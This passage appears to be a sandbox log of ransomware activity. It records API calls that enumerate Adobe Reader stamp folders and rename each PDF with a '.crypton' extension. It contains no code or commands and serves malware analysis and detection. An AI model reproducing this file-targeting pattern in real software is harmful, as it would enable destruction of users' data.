10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\standardbusiness.pdf.crypton"), dwFlags=0x2) returned 1 [0151.461] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd7a33160, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd7a33160, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0151.501] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\Dynamic.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\dynamic.pdf.crypton"), dwFlags=0x2) returned 1 [0151.537] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\hanko.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\Hanko.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\hanko.pdf.crypton"), dwFlags=0x2) returned 1 [0151.577] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\SignHere.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\signhere.pdf.crypton"), dwFlags=0x2) returned 1 [0151.989] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\StandardBusiness.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\standardbusiness.pdf.crypton"), dwFlags=0x2) returned 1 [0152.029] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd7f8e2e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd7f8e2e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0152.065] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\Dynamic.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\dynamic.pdf.crypton"), dwFlags=0x2) returned 1 [0152.088] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\SignHere.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\signhere.pdf.crypton"), dwFlags=0x2) returned 1 [0152.138] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\StandardBusiness.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\standardbusiness.pdf.crypton"), dwFlags=0x2) returned 1 [0152.143] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd80bede0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd80bede0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0152.186] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\Dynamic.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\dynamic.pdf.crypton"), dwFlags=0x2) returned 1 [0152.209] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\SignHere.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\signhere.pdf.crypton"), dwFlags=0x2) returned 1 [0152.261] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\StandardBusiness.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\standardbusiness.pdf.crypton"), dwFlags=0x2) returned 1 [0152.268] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806bec20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd81ef8e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd81ef8e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0152.288] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Dynamic.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\dynamic.pdf.crypton"), dwFlags=0x2) returned 1 [0152.309] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\faces.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Faces.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\faces.pdf.crypton"), dwFlags=0x2) returned 1 [0152.336] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\pointers.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Pointers.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\pointers.pdf.crypton"), dwFlags=0x2) returned 1 [0152.522] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\SignHere.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\signhere.pdf.crypton"), dwFlags=0x2) returned 1 [0152.581] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\standard.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Standard.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\standard.pdf.crypton"), dwFlags=0x2) returned 1 [0152.618] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\StandardBusiness.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\standardbusiness.pdf.crypton"), dwFlags=0x2) returned 1 [0152.624] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff748c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd8535720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd8535720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0152.651] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\Dynamic.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\dynamic.pdf.crypton"), dwFlags=0x2) returned 1 [0152.674] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\SignHere.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\signhere.pdf.crypton"), dwFlags=0x2) returned 1 [0152.728] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\StandardBusiness.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\standardbusiness.pdf.crypton"), dwFlags=0x2) returned 1 [0152.735] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80698ac0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd8666220, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd8666220, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0152.782] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Dynamic.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\dynamic.pdf.crypton"), dwFlags=0x2) returned 1 [0152.801] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\faces.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Faces.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\faces.pdf.crypton"), dwFlags=0x2) returned 1 [0152.829] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\pointers.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Pointers.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\pointers.pdf.crypton"), dwFlags=0x2) returned 1 [0152.861] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\SignHere.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\signhere.pdf.crypton"), dwFlags=0x2) returned 1 [0152.921] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\standard.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Standard.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\standard.pdf.crypton"), dwFlags=0x2) returned 1 [0153.040] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\StandardBusiness.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\standardbusiness.pdf.crypton"), dwFlags=0x2) returned 1 [0153.050] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd895fda0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd895fda0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0153.083] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Dynamic.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\dynamic.pdf.crypton"), dwFlags=0x2) returned 1 [0153.104] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\faces.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Faces.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\faces.pdf.crypton"), dwFlags=0x2) returned 1 [0153.129] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\pointers.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Pointers.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\pointers.pdf.crypton"), dwFlags=0x2) returned 1 [0153.154] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\SignHere.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\signhere.pdf.crypton"), dwFlags=0x2) returned 1 [0153.222] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\standard.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Standard.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\standard.pdf.crypton"), dwFlags=0x2) returned 1 [0153.280] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\StandardBusiness.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\standardbusiness.pdf.crypton"), dwFlags=0x2) returned 1 [0153.287] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd8b9b240, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd8b9b240, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0153.311] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Dynamic.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\dynamic.pdf.crypton"), dwFlags=0x2) returned 1 [0153.388] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\faces.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Faces.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\faces.pdf.crypton"), dwFlags=0x2) returned 1 [0153.418] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\pointers.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Pointers.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\pointers.pdf.crypton"), dwFlags=0x2) returned 1 [0153.452] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\SignHere.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\signhere.pdf.crypton"), dwFlags=0x2) returned 1 [0153.511] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\standard.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Standard.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\standard.pdf.crypton"), dwFlags=0x2) returned 1 [0153.559] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\StandardBusiness.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 